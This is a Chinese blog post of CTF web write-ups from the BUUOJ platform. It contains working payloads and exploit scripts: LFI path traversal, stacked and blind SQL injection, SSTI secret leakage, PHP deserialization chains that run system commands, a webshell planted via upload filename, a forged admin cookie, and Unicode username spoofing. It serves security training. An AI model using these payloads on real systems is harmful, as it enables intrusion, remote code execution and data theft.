美文网首页ctf
BUUOJ Web练手记录

BUUOJ Web练手记录

作者: Cyc1e | 来源:发表于2019-08-01 16:48 被阅读1232次

    最近发现北京联合大学的OJ平台特别不错,题目都是近期比赛的题,有些是在比赛中解出了的,有些没有解出刚好想要复现,这里简单记录下解题的思路过程,有时间练手就更新。
    平台地址:https://buuoj.cn/

    0x01 warmup

    <?php
        highlight_file(__FILE__);
        class emmm
        {
            public static function checkFile(&$page)
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                if (! isset($page) || !is_string($page)) {
                    echo "you can't see it";
                    return false;
                }
    
                if (in_array($page, $whitelist)) {
                    return true;
                }
    
                $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
    
                $_page = urldecode($page);
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }
    
        if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        }  
    ?>
    

    考点为 phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)

    payload:

    file=hint.php?../../../../../../../ffffllllaaaagggg
    

    0x02 随便注(强网杯线上题)

    考点为堆叠注入,也就是以用分号执行多条sql注入语句,并且ban了select等查询关键字,不过题目环境设置默认存在一个select,所以逻辑就是在flag所在的表插入一个id列,将原表改名为其他,flag表改名为查询表,直接查询id=1,即可得到flag
    查询表名语句:

    1;show tables;
    

    可以查看到存放flag的表1919810931114514和当前查询表words

    payload:

    1';alter table `1919810931114514` add `id` INT(11) NOT NULL DEFAULT '1' after `flag`;rename table words to words1;rename table `1919810931114514` to words;desc words;
    

    直接查询id=1即可得flag

    0x03 easy_tornado(护网杯)

    根据查看文件内容的url:/file?filename=/hints.txt&filehash=bf60e1051f59dbb931208200bcf8c08e 以及hint.txt中的提示内容:md5(cookie_secret+md5(filename))
    可以很清楚该题得逻辑,令filename=/fllllllllllllag,找到cookie_secret,计算出filehash值即可,该题考点在于ssti,ssti点在/msg={{}}处,所以查看{{handle_settings}}可以得到相关的配置信息,其中
    cookie_secret=M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r
    用于计算filehash

    <?php
    $cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r';
    $filename = '/fllllllllllllag';
    echo md5($cookie_secret.md5($filename));
    ?>
    #计算得filehash=70aed71508e50d160a73756a21e9953d
    

    最终payload:

    /file?filename=/fllllllllllllag&filehash=70aed71508e50d160a73756a21e9953d
    

    0x04 Ciscn 总决赛 Laravel

    laravel的1Day漏洞,按理说这题是很难的,只不过出题人留了个session文件,里面有payload,直接改下就可以用,虽然说现场时我是硬挖~
    exploit:

    <?php
    
    namespace Symfony\Component\Cache\Adapter;
    
    class TagAwareAdapter{
        public $deferred = array();
        function __construct($x){
            $this->pool = $x;
        }
    }
    
    class ProxyAdapter{
        protected $setInnerItem = 'system';
    }
    
    namespace Symfony\Component\Cache;
    
    class CacheItem{
        protected $innerItem = 'cat /flag';
    }
    
    $a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter(new \Symfony\Component\Cache\Adapter\ProxyAdapter());
    $a->deferred = array('aa'=>new \Symfony\Component\Cache\CacheItem);
    echo urlencode(serialize($a));
    

    payload:

    O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A8%3A%22deferred%22%3Ba%3A1%3A%7Bs%3A2%3A%22aa%22%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A4%3A%22pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A1%3A%7Bs%3A15%3A%22%00%2A%00setInnerItem%22%3Bs%3A6%3A%22system%22%3B%7D%7D
    

    比赛中修复是通过直接删除TagAwareAdapter中的__destruct魔术方法进行加固

    0x05 Ciscn 总决赛 easyweb

    漏洞点应该不是一个,解题时利用的是upload处的file_put_contents,由于会将文件名写入.log.php文件中,所以可以直接植入任意代码,中间就一个过来php,可以利用<?= ?>来执行php代码(这里一定要闭合),不过到达上传点需要先登录,在user.php和upload.php中都需要 username===admin 分析代码
    function.php

    function is_login()
    {
        global $username,$secret;
        if (!isset($_COOKIE["username"]))
            return false;
        $username=decode($_COOKIE["username"],$secret);
        return true;
    }
    

    写脚本计算cookie

    <?php
    function encode($str,$key)
    {
        $tmp="";
        for ($i=0;$i<strlen($str);$i++)
        {
            $tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
        }
        return base64_encode($tmp);
    }
    $secret="!*(fp60zoy";
    echo encode('admin',$secret);
    

    得到cookie['username'] = QE5FDx4=
    到user.php中发包即可

    ......
    Content-Disposition: form-data; name="file"; filename="<?= eval($_REQUEST[pass]);?>"
    Content-Type: image/png
    

    0x06 高明的黑客(强网杯线上题)

    我解这题是通过爆破解的 ~~,写了一个脚本,抓取文件中$_GET和$_POST里的参数,然后通过发送请求包执行echo xxxxx;的命令,如果xxxxx出了,说明执行成功了,也就是找到后门了,结果真的跑出来了。
    find.py

    # -*- coding: utf-8 -*-
    # @Author: Cyc1e
    # @Date:   2019-05-25 12:12:51
    # @Last Modified by:   Cyc1e
    # @Last Modified time: 2019-05-25 12:23:34
    import requests
    import re
    import os
    from time import sleep
    
    flies = os.listdir('./src')
    for i in flies:
        url = 'http://127.0.0.1/src/'+i
        f = open('./src/'+i)
        bb = f.read()
        f.close()
        rr = re.compile(r'(?<=_GET\[\').*(?=\'\])')
        aa = rr.findall(bb)
        for c in aa:
            payload = url + '/?' + c + '=phpinfo();'
            print payload
            req.requests.get(payload)
            if 'Windows NT C 6.1 build' in req.content:
                print payload
                exit();
    
    

    最后找到是xk0SzyKwfzw.php,交互参数为:Efa5BVG
    xk0SzyKwfzw.php

    <?php
    //......
    $XnEGfa = $_GET['Efa5BVG'] ?? ' ';
    $aYunX = "sY";
    $aYunX .= "stEmXnsTcx";
    $aYunX = explode('Xn', $aYunX);
    $kDxfM = new stdClass();
    $kDxfM->gHht = $aYunX[0];
    ($kDxfM->gHht)($XnEGfa);
    

    其中$kDxfM->gHht 的值为 sYstEm,所以传个命令就好了

    0x07 upload(强网杯线上题)

    考点为信息收集+反序列化利用,直接访问www.tar.gz获得源码。
    思路为:上传一个含有一句话木马的图片,通过反序列化漏洞将png图片修改为php文件
    其中反序列化点在Index.php中

        public function login_check(){
            $profile=cookie('user');
            if(!empty($profile)){
                $this->profile=unserialize(base64_decode($profile));
                $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
                if(array_diff($this->profile_db,$this->profile)==null){
                    return 1;
                }else{
                    return 0;
                }
            }
        }
    

    序列化点在Login.phph中

    if($user_info) {
        if (md5($password) === $user_info['password']) {
            $cookie_data=base64_encode(serialize($user_info));
            cookie("user",$cookie_data,3600);
            $this->success('Login successful!', url('../home'));
    } else {
            $this->error('Login failed!', url('../index'));
     }
    

    其中反序列化的参数值取自于cookie['user'],我们可以控制,并且在Prifile.php中

        public function upload_img(){
            if($this->checker){
                if(!$this->checker->login_check()){
                    $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                    $this->redirect($curr_url,302);
                    exit();
                }
            }
    
            if(!empty($_FILES)){
                $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
                $this->filename=md5($_FILES['upload_file']['name']).".png";
                $this->ext_check();
            }
            if($this->ext) {
                if(getimagesize($this->filename_tmp)) {
                    @copy($this->filename_tmp, $this->filename);
                    @unlink($this->filename_tmp);
                    $this->img="../upload/$this->upload_menu/$this->filename";
                    $this->update_img();
                }else{
                    $this->error('Forbidden type!', url('../index'));
                }
            }else{
                $this->error('Unknow file type!', url('../index'));
            }
        }
    

    在不上传文件的情况下,即empty($_FILES)为真值时,触发upload_img()即可修改文件名
    所以攻击链为Register中的__destruct ->Profile中的__call->__get->upload_img
    exploit:

    <?php
    namespace app\web\controller;
    //include('Index.php');
    
    class Profile
    {
        public $checker;
        public $filename_tmp;
        public $filename;
        public $upload_menu;
        public $ext;
        public $img;
        public $except;
    }
    
    
    class Register
    {
        public $checker;
        public $registed;
    }
    
    $check = new Register();
    $check->registed=0;
    $check->checker = new Profile();
    $check->checker->except=array('index'=>'upload_img');
    $check->checker->ext=1;
    $check->checker->filename_tmp="./upload/2b7bc98024d801eda1d1f9120e838398/fb5c81ed3a220004b71069645f112867.png";
    $check->checker->filename="./upload/2b7bc98024d801eda1d1f9120e838398/fb5c81ed3a220004b71069645f112867.php";
    echo base64_encode(serialize($check));
    

    在BUUOJ平台里没找到flag

    0x08 Hack word

    一道盲注题,语句:id=if(ascii(substr((select(flag)from(flag)),1,1))=102,2,1),其中select(xx)from(xx)的用法,需要知道列名才可以用,题目直接给了,所以直接用脚本跑就好了

    # -*- coding: utf-8 -*-
    import requests
    
    url='http://web43.buuoj.cn/index.php'
    ll = 'fqwertyuiopasdfghjklzxcvbnm}{1234567890'
    flag=''
    for i in range(1,50):
        for j in ll:
            cha = ord(j)
            ss='if(ascii(substr((select(flag)from(flag)),%s,1))=%s,2,1)'%(i,cha)
            sql={"id":ss}
            req=requests.post(url=url,data=sql)
            if "Do you want" in req.content.decode('UTF-8'):
                flag+=j
                print(flag)
                break
    print(flag)
    

    0x09 piapiapia

    访问www.zip可以拿到源码,所以主要就是代码审计的事情,不过在查看网页源码的时候,可以看到相关文件的base64值,所以思路也就是让photo对应的文件为config.php文件,就可以得到flag了。

    0x0A admin (HCTF的题目)

    这题一共有三个解法,题目源码在登入任意账号后到改密码页面有提示:https://github.com/woadsl1234/hctf_flask/,本题的主要考点在于Unicode欺骗,所以这里只记录该解法,其中routes.py

    def register():
        ......
        if request.method == 'POST':
            name = strlower(form.username.data)
        ......
    def login():
        ......
        if request.method == 'POST':
            name = strlower(form.username.data)
            session['name'] = name
        ......
    def change():
        ......
        if request.method == 'POST':
            name = strlower(session['name'])
    

    经过了三次的strlower小写转换,其中strlow函数为

    def strlower(username):
        username = nodeprep.prepare(username)
        return username
    

    该版本的Twisted库对于Unicode中的Small Capital,例如ᴀ的转换过程为ᴀ -> A -> a,恰好代码中的注册,登录,改密码操作中执行的nodeprep.prepare()次数足够将ᴀᴅᴍɪɴ转成admin,也就是注册一个ᴀᴅᴍɪɴ账号,绕后登录后修改密码时修改的时admin账号的密码。该题有三个解法,其他解法阔以看看飘零兄写的文章:https://www.anquanke.com/post/id/164086

    相关文章

      网友评论

        本文标题:BUUOJ Web练手记录

        本文链接:https://www.haomeiwen.com/subject/wmmtdctx.html